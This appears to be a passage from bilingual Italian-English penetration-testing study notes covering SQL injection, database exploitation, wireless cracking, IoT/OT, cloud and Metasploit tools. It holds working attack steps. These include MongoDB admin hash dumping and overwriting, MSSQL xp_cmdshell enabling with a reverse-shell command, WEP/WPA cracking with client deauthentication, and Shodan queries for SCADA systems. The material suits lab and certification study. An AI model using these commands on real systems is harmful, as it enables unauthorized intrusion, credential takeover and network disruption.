> -u "[url]": specifies the target url --cookie="[COOKIE]": enters the cookie value to login

Others SQL Injection Tools

- Mole: su sourceforge
- Blisqy: su github
- blind-sql-bitshifting: su github
- NoSQLMap: su github
- SQL Power Injection: https://sqlpowerinjector.com

SQL Injection Detection Tools

- Damn Small SQLi Scanner (DSSS): su Github
- OWASP ZAP: https://www.owasp.org
- Snort: https://www.snort.org
- Burp Suite: https://portswigger.com
- HCL AppScan: https://www.hcltech.com
- w3af: https://w3af.org

DATABASE Exploitation

MONGO DB

se si trova la porta utilizzata da mongo, si può exploitare

> mongo --port ... ace --eval "db.admin.find().forEach(printjson);"
>
> dove:
>
> > --port si connette alla porta (il default è 27017) ace è il db_address --eval serve per valutare i json di risposta

> db.admin.find().forEach(printjson); -- stampa il json di ogni utente admin. nel flag x_shadows c'è l'hash della password.

Dopo aver trovato la pass dell'admin si può generare un hash dello stesso tipo con mkpasswd per poi sostituirlo con il comando:

> mongo --port ... ace --eval 'db.admin.update({"_id":ObjectId("id_trovato_prima")}, {$set: {"x_shadow":"nuovo hash password"}})'

MSSQL

1. usa impacket-mssqlclient per entrare nel db. Per esempio:

```
impacket-mssqlclient escapetwo.htb/sa:MSSQLP@ssw0rd\!@10.10.11.51
```

2. ottieni i privilegi per eseguire comandi sulla shell

```
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
```

3. controlla i permessi

```
EXEC sp_configure 'xp_cmdshell';


# DEVE COMPARIRE QUESTO
name          minimum   maximum   config_value   run_value
-----------   -------   -------   ------------   ---------
xp_cmdshell         0         1              1           1
```

4. usa comandi dalla shell di windows con `exec xp_cmdshell "comando"`
5. scarica l'exploit e apriti una reverse shell tramite questo link

```
./mssql-command-tools_Linux_amd64 --host 10.10.xx.xx -u "sa" -p 'MSSQLP@ssw0rd!' -c "powershell -e yourbase64here"
```

WIRELESS NETWORKS

Aircrack-ng suite

> http://www.aircrack-ng.org

network software suite constisting of a lot of tools for 802.11 wireless networks. Runs under Windows and Linux

1. airbase-ng: It captures the WPA/WPA2 handshake and can act as an ad-hoc AP.
2. aircrack-ng: This program is the de facto WEP and WPA/WPA2 PSK cracking tool.

- alcuni tag utili sono:

> -a: scegliere la tecnica -> a2 : WPA Crack
> -b: bssid del router target
> -w: wordlist per le password

3. airdecap-ng: It decrypts WEP/WPA/ WPA2 and can be used to strip wireless headers from Wi-Fi packets.
4. airgraph-ng: This program creates a client–AP relationship and common probe graph from an airodump file.
5. airmon-ng: It is used to switch from the managed mode to the monitor mode on wireless interfaces and vice versa.
6. airtun-ng: It creates a virtual tunnel interface to monitor encrypted traffic and inject arbitrary traffic into a network.
7. easside-ng: This program allows the user to communicate via a WEP-encrypted AP without knowing the WEP key.
8. packetforge-ng: Attackers can use this program to create encrypted packets that can subsequently be used for injection.
9. airdecloack-ng: It removes WEP cloaking from a pcap file.
10. airdrop-ng: This program is used for the targeted, rule-based de-authentication of users.
11. aireplay-ng: It is used for traffic generation, fake authentication, packet replay, and ARP request injection.

12. wesside-ng: This program incorporates various techniques to seamlessly obtain a WEP key in minutes.
13. airodump-ng: This program is used to capture packets of raw 802.11 frames and collect WEP IVs.
14. airolib-ng: This program stores and manages ESSID and password lists used in WPA/ WPA2 cracking.
15. airserv-ng: It allows multiple programs to independently use a Wi-Fi card via a client–server TCP connection.
16. tkiptun-ng: It injects frames into a WPA TKIP network with QoS and can recover MIC keys and keystreams from Wi-Fi traffic.
17. WZCook: It is used to recover WEP keys from the Wireless Zero Configuration utility of Windows XP.

AirMagnet WiFi Analyzer PRO

> https://www.netally.com

AirMagnet WiFi Analyzer PRO is a Wi-Fi network traffic auditing and troubleshooting tool that provides the real-time, accurate, independent, and reliable Wi-Fi analysis of 802.11a/b/g/n/ax wireless networks missing any traffic.

Attackers use AirMagnet WiFi Analyzer PRO to gather details such as wireless network connectivity, Wi-Fi coverage, performance, roaming, interference, and network security issues. Module

Others Wireless Attack Tools

- Ettercap: https://www.ettercap-project.org
- Wifiphisher: https://wifiphisher.org
- Reaver: su github
- Fern Wifi Cracker: su github
- Elcomsoft Wireless Security Auditor: https://www.elcomsoft.com

Examples

cracking wep - AirCrack-ng

1. Run airmon in monitor mode:

```
airmon-ng start [interface]
```

2. start airodump to discover SSIDs on interface and keep it running

```
airodump-ng --ivs --write capture [interface]
```

3. associate your wireless card with the target AP

```
aireplay-ng -1 0 -e [TARGET_SSID_CAPTURED] -a [target_MAC_ADDRESS] -h [YOUR_MAC_ADDRESS] [interface]
```

4. inject packets using aireplay-ng to generate traffic on the target AP

```
aireplay-ng -3 -b [target_MAC_ADDRESS] -h [your-mac-address] [interface]
```

5. wait for airodump to capture more than 50000 IVs, then crack WEB key using aircrack

```
aircrack-ng -s capture.ivs
```

cracking WPA-PSK Using aircrack-ng

1. monitor wireless traffic using airmon

```
airmon-ng start [interface]
```

2. collect wireless traffic data using airodump

```
airodump-ng --write capture [interface]
```

3. deauth the client using aireplay. the client will try to authenticate -> airodump will capture an auth packet (WPA handshake)

```
aireplay -ng --deauth 11 -a [client_mac_address]
```

4. run the capture file through aircrack

```
aircrack-ng.exe -a 2 -w capture.cap
```

Security Tools for Wireless

- Cisco Adaptive Wireless IPS: https://www.cisco.com
- AirMagnet WiFi Analyzer PRO: https://www.netally.com
- RFProtect: https://www.arubanetworks.com
- WatchGuard WIPS: https://www.watchguard.com
- AirMagnet Planner: https://www.netally.com
- Extreme AirDefense: https://www.extremenetworks.co

BLUETOOTH ATTACKS

BluetoothView

```
https://www.nirsoft.net
```

BluetoothView is a utility that monitors the activity of Bluetooth devices in the vicinity. For each detected Bluetooth device, it displays information such as device name, Bluetooth address, major device type, minor device type, first detection time, and last detection time. It can also provide a notification when a new Bluetooth device is detected.

Other tools

- BlueZ: http://www.bluez.org
- BtleJack: su github
- BTCrawler: http://petronius.sourceforge.net

- BlueScan: http://bluescanner.sourceforge.net
- Bluetooth Scanner – btCrawler: su google play

MOBILE HACKING

Android Hacking Tools

- Metasploit: https://www.metasploit.com (can be used to create payloads to gain control over android systems)
- zANTI: https://www.zimperium.com
    - android application that allows to perform a lot of malicious attacks
- Network Spoofer: https://www.digitalsquid.co.uk
- Low Orbit Ion Cannon (LIOC): https://droidinformer.org
- DroidSheep: https://droidsheep.info
- Orbot Proxy: https://guardianproject.info
- PhoneSploit: su github
- apktool: code.google.com/p/android/apktool
    - Disassembles dex code into smali (Raw Dalvik VM bytecode). Can be used to embed malicious code into apps
- SignApk, to verify the repacked file

iOS Hacking Tools

- Elcomsoft Phone Breaker: https://www.elcomsoft.com
- Fing - Network Scanner: scaricabile dall'app store
- Network Analyzer Master: scaricabile dall'app store
- Spyic: https://spyic.com
- iWepPRO: scaricabile dall'app store
- Frida: https://www.frida.re

Mobile security Tools

- Malwarebytes Security: on play Store
- Lookout Personal: https://www.lookout.com
- Zimperium's zIPS: https://www.zimperium.com
- BullGuard Mobile Security: https://www.bullguard.com
- Norton Security for iOS: https://us.norton.com
- Comodo Mobile Security: https://m.comodo.com

IoT and OT HACKING TOOLS

Shodan

> https://www.shodan.io

you can gather additional information on a target device using the following Shodan filters:

- Search for Modbus-enabled ICS/SCADA systems:
    - port:502
- search for MQTT port enabled sites:
    - port:1883
- Search for SCADA systems using PLC name:
    - "Schneider Electric"
- Search for SCADA systems using geolocation:
    - SCADA Country:"US"

MQTT Explorer

Client MQTT che permette di analizzare il protocollo MQTT sui propri dispositivi.

il protocollo MQTT è uno dei protocolli livello IP per IoT Devices.

IoT Attack Tools

- Wireshark: https://www.wireshark.org
- Firmalyzer: https://firmalyzer.com
- RIoT Vulnerability Scanner: https://www.beyondtrust.com
- Foren6: https://cetic.github.io
- IoT Inspector: https://www.iot-inspector.com
- RFCrack: on github
- HackRF One: https://greatscottgadgets.com

IoT Security Tools

- SeaCat.io: https://www.teskalabs.com
- DigiCert IoT Device Manager: https://www.digicert.com
- FortiNAC: https://www.fortinet.com
- darktrace: https://www.darktrace.com
- Symantec Critical System Protection: https://www.symantec.com
- Cisco IoT Threat Defense: https://www.cisco.com

OT Attack Tools

- ICS Exploitation Framework (ISF) Source: su github
- SCADA Shutdown Tool: su github
- GRASSMARLIN: su github
- Metasploit: https://www.metasploit.com
- modbus-cli: su github
- PLCinject: su github

OT Defense Tools

- Flowmon: https://www.flowmon.com
- tenable.ot: https://www.tenable.com
- Forescout: https://www.forescout.com
- PA-220R: https://www.paloaltonetworks.com
- Fortinet ICS/SCADA solution: https://www.fortinet.com
- Nozomi Networks GuardianTM: https://www.nozominetworks.com

CLOUD COMPUTING TOOLS

lazy3: S3 Bucket Enumeration

> il tool è pubblico su github

> ruby lazys3.rb [Nome_company]

il tool listerà bucket pubblici riguardanti la company inserita (o tutti quelli che trova)

Container Management Platforms

- Docker: https://www.docker.com
- Amazon Elastic Container Service (ECS): https://aws.amazon.com
- Microsoft Azure Container Instances (ACI): https://azure.microsoft.com
- Red Hat OpenShift Container Platform: https://www.openshift.com
- Portainer: https://www.portainer.io
- HPE Ezmeral Container Platform: https://www.hpe.com

Kubernetes platforms

- Kubernetes: https://kubernetes.io
- Amazon Elastic Kubernetes Service (EKS): https://aws.amazon.com
- Docker Kubernetes Service (DKS): https://www.docker.com
- Knative: https://cloud.google.com

- IBM Cloud Kubernetes Service: https://www.ibm.com
- Google Kubernetes Engine (GKE): https://cloud.google.com

Cloud Attack Tools

- Nimbostratus: https://andresriancho.github.io
- S3Scanner: https://github.com
- Cloud Container Attack Tool (CCAT): https://github.com
- Pacu: https://github.com
- DumpsterDiver: https://github.com
- GCPBucketBrute: https://rhinosecuritylabs.com

Cloud Security Tools

- Qualys Cloud Platform: https://www.qualys.com
- CloudPassage Halo: https://www.cloudpassage.com
- McAfee MVISION Cloud: https://www.mcafee.com
- CipherCloud: https://www.ciphercloud.com
- Netskope Security Cloud: https://www.netskope.com
- Prisma Cloud: https://www.paloaltonetworks.com

METASPLOIT

Some Informations

The metasploit framework provides the infrastructure, content and tools to perform penetration tests and extensive security audits. It comprises reconnaissance, exploit development, payload packaging and delivery of exploits to vulnerable targets.

Module: A standalone piece of code or software that extends the funcionality of the Metaploit Framework. A module can be an exploit, escalation, scanner or information gathering unit of code that interfaces with the framework to perform some operations.

Session: a session is a connection between a target and the machine running Metasploit. Sessions allow for commands to be sent to and executed by the target machine.

Metasploit Modules

Exploits: Exploits are the code and commands that Metasploit uses to gain access.

Payloads: Payloads are what are sent with the exploit to provide the attack a mechanism to interact with the exploited system.

Auxiliary: The Auxiliary modules provide many useful tools including wireless attacks, denial of service, reconnaissance scanners, and SIP VoIP attacks.

NOPS: No Operation. NOPs keep the payload size consistent

Post-Exploitation: can be run on compromised targets to gather evidence, pivot deeper into a target network, ecc...

Encoders: are used to successfully remove unwanted bytes

Metasploit INterfaces

Metasploit has multiple interfaces including:

- msfconsole - an interactive command-line like interface
- msfcli - a literal Linux command line interface
- Armitage - a GUI-based third partyt application
- msfweb - browser based interface

Metasploit Console

has a simple interface. Allows users to search for modules, configure those modules and execute them against specified targets with chosen payloads.

Provides management interface for opened sessions, network redirection and data collection.

Starting metasploit

1. start the PostgreSQL database for Metasploit: `service postgresql start`
2. launch metasploit framework console: `mfsconsole`

Core commands:

- msf > show exploits
- msf > show payloads
- msf > search Variable
- msf > show options
- msf > set Variable
- msf > info
- msf > exploit

Sample operation:

- Open Metasploit Console
- Select Exploit
- Set Target
- Select Payload
- Set Options
- exploit

Some Standard Commands

Initialize the DB:

```
sudo msfdb reinit
```

Launch console

```
msfconsole
```

Check DB Connection

```
db_status
```

Workspaces

> check which is used:
>
> ```
> workspace
> ```
>
> Create New WOrkspace
>
> ```
> workspace -a nome_workspace
> ```
>
> Switch workspaces
>
> ```
> workspace default workspace nome_workspace
> ```

Enumerating:

> launch nmap - host discovery
>
> ```
> db_nmap -sn <target network>
> ```
>
> enumerate services and vulns
>
> ```
> db_nmap --script=vulners -O -sV <target box>
> ```
>
> list host, services and vulnerabilities:
>
> ```
> hosts services vulns
> ```

Exploit:

> search available exploits for discovered services:
>
> ```
> search servizio_vulnerabile versione_servizio
> ```
>
> sessions managing: once you exploited, you have a session.
>
> ```
> ^Z - background the current session
> sessions - list active sessions
> sessions n - switch to session n
> session -u n - upgrade session n to Meterpreter
> ```